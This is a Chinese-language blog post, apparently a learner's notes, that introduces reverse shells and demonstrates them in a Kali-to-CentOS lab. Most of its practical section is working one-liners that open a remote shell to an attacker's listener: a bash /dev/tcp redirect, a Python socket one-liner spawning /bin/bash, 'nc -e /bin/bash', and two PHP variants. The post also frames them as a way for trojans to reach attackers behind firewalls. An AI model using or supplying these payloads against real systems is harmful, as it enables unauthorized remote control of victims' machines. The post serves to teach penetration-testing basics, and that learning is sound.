初识反弹Shell

前言:

最近看大师傅们的博客,总是会看到反弹shell,而且不理解,所以就学习一波顺便总结下来!

0x01:何为反弹Shell

反弹shell(reverse shell),就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shelltelnet(远程登陆),ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

0x02:为何要反弹Shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

假设攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,叫做正向连接。远程桌面、web服务、ssh、telnet等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.目标机器的ip动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
在这里插入图片描述

0x03:实践反弹Shell

实验环境:

Kali Linux: 192.168.186.128(攻击方)
CentOS 7: 192.168.186.129(服务器端)

方法一:使用linux命令反弹shell

反弹shell命令格式如下:

$ bash -i >& /dev/tcp/ip/port 0>&1

先在kail中使用nc监听6666端口

$ nc -lvp 6666

在这里插入图片描述
然后在Centos中执行:

$ bash -i >& /dev/tcp/192.168.186.128/6666 0>&1

在这里插入图片描述
查看kail,发现ip地址已经变成服务器端的ip了,说明shell反弹成功,这时候就能对服务器进行远程操控了
在这里插入图片描述
Centos中执行那串代码是怎么来的?,下面就来学习一下:

#bash -i
bash 是linux 的一个比较常见的shell
-i 这个参数表示的是产生交互式的shell

#/dev/tcp/ip/port
Linux有一个特殊的文件/dev/tcp,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,但如果你访问这个文件的位置它是不存在的。

除此之外还可以在服务器端输出字符串到这个/dev/tcp文件中,这样攻击方便可以接收到:
在这里插入图片描述
输出lemon并重定向到/dev/tcp文件中
在这里插入图片描述
这个过程是服务器端->攻击端,同样也可以在攻击机上的输入,服务端进行接收
攻击端输入

在这里插入图片描述
服务器端接收
在这里插入图片描述
这行命令还含有&、0>&1

>&&>作用就是混合输出(错误、正确输出都输出到一个地方)

这里就涉及交互重定向,为实现交互,需要把服务器端交互式shell的输出重定向到攻击机上
在服务器端上输入

#>输出重定向
$ bash -i >/dev/tcp/192.168.186.128/6666

在这里插入图片描述
如同,服务器端没有任何回显,攻击端有回显
在这里插入图片描述
但是这里就存在着一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行,所以需要一条这样的指令

#<属于输入重定向
bash -i < /dev/tcp/192.168.186.128/6666

这条指令的意思是将攻击者输入的命令输入给受害者的bash,所以便可以实现对受害者的控制
攻击方:
在这里插入图片描述
服务器端:
在这里插入图片描述
将两条指令结合起来,便可以形成:

bash -i > /dev/tcp/192.168.186.128/6666 0>&1

接下来就涉及到比较复杂的重定向文件描述符的知识,最终形成最经典的反弹shell语句。

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

由于现在是初始阶段,有的确实还是不理解就不误导其他人了.先通过使用来加深印象之后再将原理这块补齐。原理可以参考这位大师傅的反弹shell

方法二:通过python反弹shell

首先在kail中监听6666端口

root@kail:~# nc -lvp 6666

在这里插入图片描述
然后在Centos中输入

$ python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.186.128',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

展开来看就是这样:

"import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.186.128',6666));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);"

连接成功
在这里插入图片描述
原理还是经典反弹shell的原理,这里只不过是利用了python来实现

方法三:通过nc反弹shell

流程还是一样的,先在kail中监听6666端口

root@kail:~# nc -lvp 6666

在这里插入图片描述
然后在CentOS中输入:

$ nc -e /bin/bash 192.168.186.128 6666

在这里插入图片描述
连接成功
在这里插入图片描述

方法四:使用php反弹shell

类型一:exec函数来反弹shell

先在kail中监听端口,这里就不再叙述了
然后在Centos中执行以下命令:

 php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.186.128/6666");'

在这里插入图片描述
连接成功:
在这里插入图片描述

类型二:fsockopen连接

fsockopen — 打开一个网络连接或者一个Unix套接字连接

在Centos中执行:

php -r '$sock=fsockopen("192.168.186.128",6666);exec("/bin/bash -i <&3 >&3 2>&3");'

在这里插入图片描述
连接成功
在这里插入图片描述

总结:

这次就先了解反弹shell的几种方式,由于目前对linux的一些知识掌握的还不是很好,就先不学习原理,待基础知识增强后再学习原理!!!

参考链接:

玄魂
Linux下反弹shell几种方法学习总结
Linux 反弹shell(二)反弹shell的本质

发布了71 篇原创文章 · 获赞 80 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_43431158/article/details/104318692
今日推荐